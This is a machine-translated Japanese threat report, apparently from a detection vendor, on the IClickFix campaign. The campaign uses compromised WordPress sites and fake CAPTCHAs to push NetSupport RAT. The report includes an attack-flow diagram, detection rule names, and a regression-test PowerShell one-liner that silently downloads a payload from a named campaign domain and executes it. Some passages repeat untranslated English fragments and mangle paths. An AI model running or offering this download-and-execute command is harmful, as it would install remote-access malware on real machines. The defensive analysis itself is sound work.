フォローする
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートは、以下に焦点を当てています IClickFix、WordPressサイトを侵害し、Cloudflareのターンスタイル風CAPTCHAを偽装する悪意のあるJavaScriptフレームワークです。この罠は、訪問者にPowerShellコマンドを実行させ、 NetSupport RATをダウンロードしてインストールさせます。配信は、 YOURLS のURL短縮ツールとリダイレクタードメインの回転セットを中心に構築されたトラフィック配信システムを使用してサポートされます。研究者は2024年後半以来、世界中の3,800以上のWordPressサイトがこのチェーンを提供しているのを観察しました。 3,800 compromised WordPress sites serving this chain globally since late 2024.
調査
Sekoiaの分析者は、侵害されたサイトで注入されたJavaScriptタグを特定し、次に短期間の複数のドメインを通じてリダイレクトフローを再構築しました。彼らは最終的なペイロードを取得するために使用された正確なPowerShell実行パターンを捕捉し、ドロップされたNetSupport RATコンポーネントを関連付けられたC2インフラストラクチャの指標と共に回収しました。 ic-tracker-js on compromised sites, then reconstructed the redirect flow across multiple short-lived domains. They captured the exact PowerShell execution pattern used to retrieve the final payload and recovered the dropped NetSupport RAT components along with associated C2 infrastructure indicators.
緩和策
Webコンテンツの注入を監視し、チェーンで使用される既知の悪意のあるドメイン、リダイレクター、ショートリンクサービスをブロックします。エンドポイントでは、ClickFixルアーと一貫したPowerShellのダウンロードおよび実行パターンを検出します。NetSupportクライアントファイル作成のカバー範囲と、ユーザーレベルのレジストリキーを介した持続性のカバー範囲を追加します。 ic-tracker-js injection and block known malicious domains, redirectors, and short-link services used in the chain. On endpoints, detect PowerShell download-and-execute patterns consistent with the ClickFix lure. Add coverage for NetSupport client file creation and for persistence via user-level Run registry keys.
対応
指標が現れた場合、エンドポイントを隔離し、アクティブなPowerShellプロセスを停止し、NetSupportバイナリとレジストリベースの持続性を削除します。攻撃者が追加のインプラントを展開したり、セキュンドリ・アクセスを確立したりしていないことを確認するために、完全なフォレンジックトライアージを実施します。
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef file fill:#cccccc %% Action Nodes action_initial_access[“<b>アクション</b> – <b>T1190 公開アプリケーションの悪用</b><br/>WordPress コアまたは一般的なプラグイン（Elementor、WooCommerce、Gravity Forms）の脆弱性を悪用して WordPress サイトを侵害する。”] class action_initial_access action action_content_injection[“<b>アクション</b> – <b>T1659 コンテンツインジェクション</b><br/>侵害されたページに <i>icu2011trackeru2011js</i> タグを含む悪意のある JavaScript を注入し、攻撃者が制御するスクリプトを読み込ませる。”] class action_content_injection action action_software_extensions[“<b>アクション</b> – <b>T1176 ソフトウェア拡張機能</b><br/>脆弱な WordPress プラグインを拡張機能として利用し、サイト上で悪意のあるコードを永続化する。”] class action_software_extensions action action_dynamic_resolution[“<b>アクション</b> – <b>T1568 動的解決</b><br/>YOURLS 短縮サービスとドメインチェーン（例: ksfldfklskdmbxcvb.com）を使用して、ボットをフィルタリングしながらペイロードを解決・配信する。”] class action_dynamic_resolution action action_obfuscated_payloads[“<b>アクション</b> – <b>T1027 難読化または保存されたファイル</b><br/>検知回避のため、第一段階の JavaScript と PowerShell ローダーを Base64 でエンコードし、文字列を分割する。”] class action_obfuscated_payloads action action_user_execution[“<b>アクション</b> – <b>T1204.001 ユーザー実行: 悪意のあるリンク</b><br/>被害者が侵害された WordPress URL をクリックし、リダイレクトチェーンが開始される。”] class action_user_execution action action_input_injection[“<b>アクション</b> – <b>T1674 入力インジェクション および T1204.004 悪意のあるコピー＆ペースト</b><br/>JavaScript が PowerShell コマンドをクリップボードに書き込み、偽の Cloudflare Turnstile CAPTCHA 誘導を表示する。”] class action_input_injection action action_powershell[“<b>アクション</b> – <b>T1059.001 PowerShell</b><br/>隠された PowerShell コマンドが実行され、第二段階のスクリプト <i>tytuy.json</i> をダウンロードし、NetSupport RAT を展開する。”] class action_powershell action action_persistence[“<b>アクション</b> – <b>T1547.014 起動またはログオン自動実行: Active Setup</b><br/>ProgramData\\S1kCMNfZi3 内の <i>client32.exe</i> を指す Run レジストリキーを作成し、起動時の実行を確保する。”] class action_persistence action action_c2[“<b>アクション</b> – <b>T1102.002 Web サービス: 双方向通信</b><br/>NetSupport RAT は HTTPS を介して攻撃者制御ドメイン（例: nightlomsknies.com/fakeurl.htm）と通信する。”] class action_c2 action action_data_obfuscation[“<b>アクション</b> – <b>T1001 データ難読化</b><br/>悪意のある活動を隠すために C2 トラフィックとペイロードを難読化する。”] class action_data_obfuscation action %% Tool / Malware / File Nodes tool_wordpress_core[“<b>ツール</b> – <b>名称</b>: WordPress コア<br/><b>脆弱性</b>: リモートコード実行”] class tool_wordpress_core tool tool_elementor_plugin[“<b>ツール</b> – <b>名称</b>: Elementor プラグイン<br/><b>脆弱性</b>: CVE 固有のリモートコード実行”] class tool_elementor_plugin tool tool_yourls[“<b>ツール</b> – <b>名称</b>: YOURLS 短縮サービス<br/><b>目的</b>: URL リダイレクトおよび動的解決”] class tool_yourls tool malware_netsupport[“<b>マルウェア</b> – <b>名称</b>: NetSupport RAT<br/><b>機能</b>: リモート制御およびデータ流出”] class malware_netsupport malware file_client32[“<b>ファイル</b> – <b>名称</b>: client32.exe<br/><b>場所</b>: ProgramData\\S1kCMNfZi3”] class file_client32 file file_tyuy_json[“<b>ファイル</b> – <b>名称</b>: tytuy.json<br/><b>目的</b>: 第二段階 PowerShell スクリプト”] class file_tyuy_json file %% Connections action_initial_access –>|悪用| tool_wordpress_core tool_wordpress_core –>|侵入点を提供| action_content_injection action_content_injection –>|スクリプトを注入| tool_elementor_plugin action_content_injection –>|につながる| action_software_extensions action_software_extensions –>|を通じて永続化| tool_elementor_plugin action_software_extensions –>|を有効化| action_dynamic_resolution action_dynamic_resolution –>|を利用| tool_yourls action_dynamic_resolution –>|を配信| action_obfuscated_payloads action_obfuscated_payloads –>|を生成| action_user_execution action_user_execution –>|をトリガー| action_input_injection action_input_injection –>|クリップボードにコマンドを書き込み| action_powershell action_powershell –>|をダウンロード| file_tyuy_json file_tyuy_json –>|を展開| malware_netsupport malware_netsupport –>|をインストール| action_persistence action_persistence –>|を作成| file_client32 file_client32 –>|起動時に実行| action_c2 malware_netsupport –>|と通信| action_c2 action_c2 –>|を使用| action_data_obfuscation
攻撃フロー
検出
PowerShell経由のダウンロードまたはアップロード（cmdline経由）
表示
公共のユーザープロファイルでの疑わしいファイル（file_event経由）
表示
隠されたPowerShellコマンドラインによる実行の可能性（cmdline経由）
表示
Invoke-RestMethodの疑わしい使用（powershell経由）
表示
疑わしいディレクトリからのNetSupport Managerバイナリ実行の試み（process_creation経由）
表示
持続性の可能性のあるポイント[ASEPs – Software/NTUSER Hive]（registry_event経由）
表示
IOC (HashSha256)を検出する: IClickFixを満たす: ClickFix戦術を使用する広範囲なWordPressターゲティングフレームワーク
表示
IOC (DestinationIP)を検出する: IClickFixを満たす: ClickFix戦術を使用する広範囲なWordPressターゲティングフレームワーク
表示
IOC (SourceIP)を検出する: IClickFixを満たす: ClickFix戦術を使用する広範囲なWordPressターゲティングフレームワーク
表示
IClickFix悪意のあるJavaScriptインジェクション検出[Webserver]
表示
NetSupport RAT配布のためのPowerShellコマンド実行[Windows Powershell]
表示
シミュレーション実行
前提条件: テレメトリおよびベースラインの事前チェックが通過している必要があります。
-
攻撃の流れとコマンド:
エンドポイントへの初期アクセスを持つ攻撃者が、NetSupport RATを配布し続けることによって永続的な足場を確立しようとします。対話的な検出を回避するために、彼らはプロファイルやロゴを使用せずに非表示モードでPowerShellを起動します（
-w hidden -nop -c）。次にInvoke‑WebRequest(iwr）を使用して、悪意のあるJSONペイロード（tytuy.json）をダウンロードし、その中にはRAT用のPowerShellスクリプトが含まれています。このスクリプトは一時ディレクトリに書き込まれ、Invoke‑Expressionによって実行されます。この正確なコマンドラインは、Sigmaルールが監視している文字列に一致します。Invoke‑Expression. This exact command line matches the strings the Sigma rule monitors. -
回帰テストスクリプト：
# 検出ルールに一致するPowerShellのワンライナー $url = 'https://scottvmorton.com/tytuy.json' $out = "$env:TEMPpayload.ps1" powershell -w hidden -nop -c "iwr '$url' -OutFile $out; iex (Get-Content $out -Raw)" -
クリーンアップコマンド：
# ダウンロードされたペイロードを削除し、残っているPowerShellプロセスをすべて削除します Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue Get-Process -Name powershell | Where-Object {$_.CommandLine -match 'tytuy.json'} | Stop-Process -Force